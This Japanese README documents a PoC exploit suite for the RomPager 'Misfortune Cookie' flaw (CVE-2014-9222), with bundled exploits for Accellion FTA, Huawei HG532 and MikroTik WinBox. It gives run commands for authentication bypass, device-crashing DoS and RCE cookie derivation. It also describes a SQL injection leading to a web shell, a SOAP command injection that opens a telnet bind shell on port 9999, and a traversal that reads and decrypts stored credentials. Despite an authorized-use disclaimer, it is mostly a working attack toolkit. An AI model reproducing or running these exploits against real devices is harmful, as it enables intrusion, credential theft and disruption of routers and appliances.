CVE-2014-9222「Misfortune Cookie」PoCスイート

AllegroSoft RomPagerのHTTPクッキー処理におけるスタックオーバーフロー（4.34未満の全バージョン）。細工されたCookie:ヘッダーを含む単一の未認証リクエストでメモリが破壊されます。影響：管理者認証バイパス、DoS/再起動、および（ファームウェア固有のオフセットを使用した）リモートコード実行。

所有しているハードウェア、または明示的にテストを許可されたハードウェアに対してのみ使用してください。

対話型コンソール（推奨）

python3 main.py                # その後 [1] でターゲットを設定
python3 main.py http://192.168.1.1

[1] ターゲットの設定 / 切り替え
[2] ターゲットのフィンガープリント取得
[3] 脆弱性の検出（安全、非破壊的）
[4] 認証バイパス（マジッククッキー）
[5] DoS / デバイスのクラッシュ（破壊的）
[6] RCEヘルパー - ファームウェアアドレスからクッキーを導出
[7] モデル / クッキーテーブルの参照
[8] 全脆弱性のスキャン（プローブ）
[A] Accellion FTAチェーン（CVE-2021-27101 / 27102）
[B] Huawei HG532（CVE-2017-17215）
[C] MikroTik WinBox（CVE-2018-14847）

各アクションは実行前に何を行うかを表示します。DoSにはYESの入力が必要です。モデル別フィンガープリント（realm）はWWW-Authenticateヘッダーから自動検出され、クッキーテーブルと照合されます。

スキャン（オプション8）

[8]は非破壊的なチェックで4つの脆弱性ファミリーすべてに対してホストをプローブし、到達可能/脆弱と思われるものを表示します：

python3 scan.py http://192.168.1.1
python3 scan.py http://192.168.1.1 --winbox-port 8291 --hg532-port 37215

その後、確認された脆弱性を悪用するために、対応するメニュー項目（[3]/[4]/[A]/[B]/[C]）を実行します。

追加のPoC（同じコンソール）

Misfortune Cookieに加えて、コンソールには他の3つの一般的な組み込み/アプライアンス脆弱性のPoCがバンドルされています：

• [A] Accellion FTA（accellion_fta.py）- Mandiantが報告したUNC2546チェーンを再現：細工されたHostヘッダー（/courier/oauth.api）によるSQLインジェクションでw1シークレットを回復し、admin.plをトリガーしてevalウェブシェルを書き込み、検証します。27103（SSRF）/ 27104（認証後コマンド実行）は記載されていますが、デフォルトでは実行されません。
• [B] Huawei HG532（huawei_hg532.py）- /ctrlt/DeviceUpgrade_1へのSOAP POSTでNewStatusURLに$(<cmd>)を含め、HTTP Digest認証dslf-config:adminを使用。デフォルトコマンドは9999番ポートでtelnetバインドシェルを開きます。
• [C] MikroTik WinBox（mikrotik_winbox.py）- WinBoxプロトコルを介したディレクトリトラバーサルによるファイル読み取り。デフォルトではを読み取り、保存された認証情報を復号します（ XOR）。

すべての追加PoCはコンソールでの明示的な確認が必要です。

スタンドアロンCLI（同じエンジン）

python3 detect.py http://192.168.1.1                      # 安全なチェック
python3 auth_bypass.py http://192.168.1.1                 # モデル自動検出
python3 auth_bypass.py http://192.168.1.1 --restore       # 認証を再有効化
python3 auth_bypass.py http://192.168.1.1 --all           # 既知の全クッキーを試行
python3 auth_bypass.py http://192.168.1.1 --brute         # 網羅的（非常に遅い、クラッシュする）
python3 dos.py http://192.168.1.1                         # クラッシュ / 再起動（破壊的）
python3 rce/derive_cookie.py 0x803E9A40 0x803AB30D        # アドレス -> (num, pad)

ファイル

マジッククッキーの形式

Cookie: C<evilnum>=<pad "B"バイト><ペイロード>;

evilnumとpadはファームウェア固有です。evilnumはRomPagerの0x28バイトのクッキー配列をインデックスします（C_Array + evilnum*0x28 + pad = 上書きされるアドレス）。exploitdb 39739とMetasploitのallegro_rompager_auth_bypassモジュールから統合されたモデル別テーブルはcommon.pyにあります。

RCEの手順

正確なファームウェアイメージが1つ必要です。手順（rce/README.md参照）：binwalkでrootfsを抽出し、Ghidraでクッキーパーサーをリバースしてバッファ -> 保存された$raデルタを特定し、derive_cookie.pyで(num, pad)を導出し、ライブターゲットに触れる前にQEMUエミュレートイメージに対してMIPSシェルコードを検証します。

参考情報

• https://nvd.nist.gov/vuln/detail/CVE-2014-9222
• https://web.archive.org/web/20141231080506/http://mis.fortunecook.ie/
• Metasploit: auxiliary/scanner/http/allegro_rompager_misfortune_cookie および auxiliary/admin/http/allegro_rompager_auth_bypass
• ExploitDB 39739（Misfortune Cookie認証削除）